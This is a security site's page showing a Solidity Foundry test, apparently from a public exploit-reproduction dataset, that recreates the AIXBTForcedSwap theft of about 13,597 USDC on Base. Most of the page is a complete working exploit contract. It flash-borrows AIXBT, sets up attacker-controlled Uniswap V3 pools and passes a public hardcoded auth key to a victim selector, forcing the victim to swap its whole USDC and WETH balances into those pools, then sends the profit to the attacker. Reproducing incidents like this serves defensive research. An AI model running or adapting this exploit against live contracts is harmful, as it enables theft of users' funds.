Skip to content
THREATWIRE

Public reproduction file

src/test/2025-01/AIXBTForcedSwap_exp.sol

Public reproduction file for dataset entry AIXBTForcedSwap.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-01/AIXBTForcedSwap_exp.sol259 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 13,597.36 USDC
8// Attacker : 0x312b559b41139c75a75c7ae1ea4454e661a02647
9// Attack Contract : 0x4f3a1aebc074ef7a1b3675d7b8d4c5a72d629fac
10// Vulnerable Contract : 0x32cd8541ccd275a70dda33a9fd490d948a78e1ff
11// Attack Tx : https://basescan.org/tx/0x5a7462b79d6df0048299c229bdca232ea6dcb97d80cd3b512c28e67db2370d47
13// @Info
14// Vulnerable Contract Code : https://basescan.org/address/0x32cd8541ccd275a70dda33a9fd490d948a78e1ff#code
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/363
18//
19// The attacker flash-borrowed AIXBT, created narrow one-sided Uniswap V3 AIXBT pools, and called an
20// unverified victim selector that made the victim swap its full USDC and WETH balances into those pools.
21// The decompiled victim shows the selector accepts keccak256("1205060227") as an auth bypass, then approves
22// its own token balance to the Uniswap router and executes caller-controlled exactInputSingle parameters.
23// The attacker withdrew the LP positions, repaid the flash loan, and forwarded the remaining USDC profit.
25address constant ATTACKER = 0x312B559b41139c75a75c7aE1ea4454e661a02647;
26address constant VULNERABLE_CONTRACT = 0x32cD8541cCD275A70dDA33A9fD490D948A78E1ff;
28address constant AIXBT = 0x4F9Fd6Be4a90f2620860d680c0d4d5Fb53d1A825;
29address constant BASE_USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
30address constant BASE_WETH = 0x4200000000000000000000000000000000000006;
31address constant UNISWAP_V3_POSITION_MANAGER = 0x03a520b32C04BF3bEEf7BEb72E919cf822Ed34f1;
32address constant UNISWAP_V3_SWAP_ROUTER = 0x2626664c2603336E57B271c5C0b26F421741e481;
33address constant AIXBT_USDC_FLASH_POOL = 0xf1Fdc83c3A336bdbDC9fB06e318B08EadDC82FF4;
35interface IBaseSwapRouter {
36 struct ExactInputSingleParams {
37 address tokenIn;
38 address tokenOut;
39 uint24 fee;
40 address recipient;
41 uint256 amountIn;
42 uint256 amountOutMinimum;
43 uint160 sqrtPriceLimitX96;
44 }
46 struct ExactOutputSingleParams {
47 address tokenIn;
48 address tokenOut;
49 uint24 fee;
50 address recipient;
51 uint256 amountOut;
52 uint256 amountInMaximum;
53 uint160 sqrtPriceLimitX96;
54 }
56 function exactInputSingle(
57 ExactInputSingleParams calldata params
58 ) external payable returns (uint256 amountOut);
60 function exactOutputSingle(
61 ExactOutputSingleParams calldata params
62 ) external payable returns (uint256 amountIn);
65contract ContractTest is BaseTestWithBalanceLog {
66 function setUp() public {
67 uint256 forkBlock = 25_559_856;
68 vm.createSelectFork("base", forkBlock);
69 fundingToken = BASE_USDC;
71 vm.label(ATTACKER, "Attacker EOA");
72 vm.label(VULNERABLE_CONTRACT, "Victim contract");
73 vm.label(AIXBT, "AIXBT");
74 vm.label(BASE_USDC, "USDC");
75 vm.label(BASE_WETH, "WETH");
76 vm.label(UNISWAP_V3_POSITION_MANAGER, "Uniswap V3 position manager");
77 vm.label(UNISWAP_V3_SWAP_ROUTER, "Uniswap V3 swap router");
78 vm.label(AIXBT_USDC_FLASH_POOL, "AIXBT/USDC flash pool");
79 }
81 function testExploit() public balanceLog2(ATTACKER) {
82 AIXBTForcedSwapExploit exploit = new AIXBTForcedSwapExploit(ATTACKER);
84 uint256 attackerBefore = IERC20(BASE_USDC).balanceOf(ATTACKER);
85 vm.prank(ATTACKER);
86 exploit.attack();
88 uint256 profit = IERC20(BASE_USDC).balanceOf(ATTACKER) - attackerBefore;
89 emit log_named_decimal_uint("Attacker USDC profit", profit, 6);
90 assertGt(profit, 13_000e6, "USDC profit below reported impact");
91 }
94contract AIXBTForcedSwapExploit {
95 IERC20 private constant aixbt = IERC20(AIXBT);
96 IERC20 private constant usdc = IERC20(BASE_USDC);
97 IERC20 private constant weth = IERC20(BASE_WETH);
98 INonfungiblePositionManager private constant positionManager =
99 INonfungiblePositionManager(UNISWAP_V3_POSITION_MANAGER);
100 IBaseSwapRouter private constant swapRouter = IBaseSwapRouter(UNISWAP_V3_SWAP_ROUTER);
101 IUniswapV3Flash private constant flashPool = IUniswapV3Flash(AIXBT_USDC_FLASH_POOL);
103 // Victim 0x229e9756 auth from decompiler:
104 // key == keccak256("1205060227") || msg.sender == runner || msg.sender == owner
105 // Because the key is a public bytecode constant, any caller can make the victim approve tokenIn to
106 // the router and swap its own balance into attacker-prepared AIXBT pools.
107 bytes4 private constant VICTIM_SWAP_SELECTOR = 0x229e9756;
108 bytes32 private constant VICTIM_SWAP_KEY = keccak256("1205060227");
110 address private immutable profitReceiver;
112 constructor(
113 address profitReceiver_
114 ) {
115 profitReceiver = profitReceiver_;
116 }
118 function attack() external {
119 require(msg.sender == profitReceiver, "only profit receiver");
121 // step 1: borrow AIXBT and enter the Uniswap V3 flash callback.
122 uint256 flashAmount = 10 ether;
123 flashPool.flash(address(this), flashAmount, 0, abi.encode(flashAmount));
124 }
126 function uniswapV3FlashCallback(
127 uint256 fee0,
128 uint256 fee1,
129 bytes calldata data
130 ) external {
131 require(msg.sender == AIXBT_USDC_FLASH_POOL, "unexpected flash pool");
132 require(fee1 == 0, "unexpected token1 fee");
134 uint256 flashAmount = abi.decode(data, (uint256));
135 aixbt.approve(UNISWAP_V3_POSITION_MANAGER, type(uint256).max);
136 usdc.approve(UNISWAP_V3_SWAP_ROUTER, type(uint256).max);
137 weth.approve(UNISWAP_V3_SWAP_ROUTER, type(uint256).max);
139 // step 2: create two fresh 0.01% pools initialized at a 1:1 sqrt price.
140 uint160 sqrtPriceX96 = uint160(1) << 96;
141 positionManager.createAndInitializePoolIfNecessary(AIXBT, BASE_USDC, 100, sqrtPriceX96);
142 positionManager.createAndInitializePoolIfNecessary(BASE_WETH, AIXBT, 100, sqrtPriceX96);
144 // step 3: seed AIXBT/USDC, force the victim's full USDC balance through it, then collect.
145 (uint256 aixbtUsdcTokenId, uint128 aixbtUsdcLiquidity,,) =
146 _mintPosition(AIXBT, BASE_USDC, 100, 0, 100, aixbt.balanceOf(address(this)), 0);
147 _forceVictimSwap(BASE_USDC, usdc.balanceOf(VULNERABLE_CONTRACT));
148 _removeAndCollect(aixbtUsdcTokenId, aixbtUsdcLiquidity);
150 // step 4: seed WETH/AIXBT, force the victim's full WETH balance through it, then collect.
151 (uint256 wethAixbtTokenId, uint128 wethAixbtLiquidity,,) =
152 _mintPosition(BASE_WETH, AIXBT, 100, -100, 0, 0, aixbt.balanceOf(address(this)));
153 _forceVictimSwap(BASE_WETH, weth.balanceOf(VULNERABLE_CONTRACT));
154 _removeAndCollect(wethAixbtTokenId, wethAixbtLiquidity);
156 // step 5: top up exact AIXBT owed for the flash loan, then convert collected WETH to USDC.
157 uint256 aixbtOwed = flashAmount + fee0;
158 uint256 aixbtBalance = aixbt.balanceOf(address(this));
159 if (aixbtBalance < aixbtOwed) {
160 _swapUsdcForExactAixbt(aixbtOwed - aixbtBalance);
161 }
162 _swapAllWethToUsdc();
164 // step 6: repay the flash pool and forward the remaining USDC to the attacker EOA.
165 aixbt.transfer(AIXBT_USDC_FLASH_POOL, aixbtOwed);
166 usdc.transfer(profitReceiver, usdc.balanceOf(address(this)));
167 }
169 function _mintPosition(
170 address token0,
171 address token1,
172 uint24 fee,
173 int24 tickLower,
174 int24 tickUpper,
175 uint256 amount0Desired,
176 uint256 amount1Desired
177 ) private returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1) {
178 (tokenId, liquidity, amount0, amount1) = positionManager.mint(
179 INonfungiblePositionManager.MintParams({
180 token0: token0,
181 token1: token1,
182 fee: fee,
183 tickLower: tickLower,
184 tickUpper: tickUpper,
185 amount0Desired: amount0Desired,
186 amount1Desired: amount1Desired,
187 amount0Min: 0,
188 amount1Min: 0,
189 recipient: address(this),
190 deadline: block.timestamp
191 })
192 );
193 }
195 function _removeAndCollect(
196 uint256 tokenId,
197 uint128 liquidity
198 ) private {
199 positionManager.decreaseLiquidity(
200 INonfungiblePositionManager.DecreaseLiquidityParams({
201 tokenId: tokenId, liquidity: liquidity, amount0Min: 0, amount1Min: 0, deadline: block.timestamp
202 })
203 );
204 positionManager.collect(
205 INonfungiblePositionManager.CollectParams({
206 tokenId: tokenId, recipient: address(this), amount0Max: type(uint128).max, amount1Max: type(uint128).max
207 })
208 );
209 }
211 function _forceVictimSwap(
212 address tokenIn,
213 uint256 amountIn
214 ) private {
215 (bool ok, bytes memory returndata) = VULNERABLE_CONTRACT.call(
216 abi.encodeWithSelector(
217 VICTIM_SWAP_SELECTOR, VICTIM_SWAP_KEY, tokenIn, amountIn, AIXBT, uint256(0), uint24(100), uint160(0)
218 )
219 );
220 if (!ok) {
221 assembly {
222 revert(add(returndata, 0x20), mload(returndata))
223 }
224 }
225 }
227 function _swapUsdcForExactAixbt(
228 uint256 amountOut
229 ) private {
230 swapRouter.exactOutputSingle(
231 IBaseSwapRouter.ExactOutputSingleParams({
232 tokenIn: BASE_USDC,
233 tokenOut: AIXBT,
234 fee: 10_000,
235 recipient: address(this),
236 amountOut: amountOut,
237 amountInMaximum: usdc.balanceOf(address(this)),
238 sqrtPriceLimitX96: 0
239 })
240 );
241 }
243 function _swapAllWethToUsdc() private {
244 uint256 wethBalance = weth.balanceOf(address(this));
245 if (wethBalance == 0) return;
247 swapRouter.exactInputSingle(
248 IBaseSwapRouter.ExactInputSingleParams({
249 tokenIn: BASE_WETH,
250 tokenOut: BASE_USDC,
251 fee: 3000,
252 recipient: address(this),
253 amountIn: wethBalance,
254 amountOutMinimum: 0,
255 sqrtPriceLimitX96: 0
256 })
257 );
258 }

Analysis

Dataset entry

Public Foundry test for “AIXBTForcedSwap” (2025-01-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x312b559b41139c75a75c7ae1ea4454e661a02647

  • Attack Contract

    0x4f3a1aebc074ef7a1b3675d7b8d4c5a72d629fac

  • Vulnerable Contract

    0x32cd8541ccd275a70dda33a9fd490d948a78e1ff

  • Attack Tx

    0x5a7462b79d6df0048299c229bdca232ea6dcb97d80cd3b512c28e67db2370d47

File record

Name
AIXBTForcedSwap
Path
src/test/2025-01/AIXBTForcedSwap_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
91f2115c1585888ec7f43407941a366edd3c6e9e
Language
Solidity
Size
260 lines
Date
2025-01-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-01/AIXBTForcedSwap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 91f2115c1585888ec7f43407941a366edd3c6e9e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.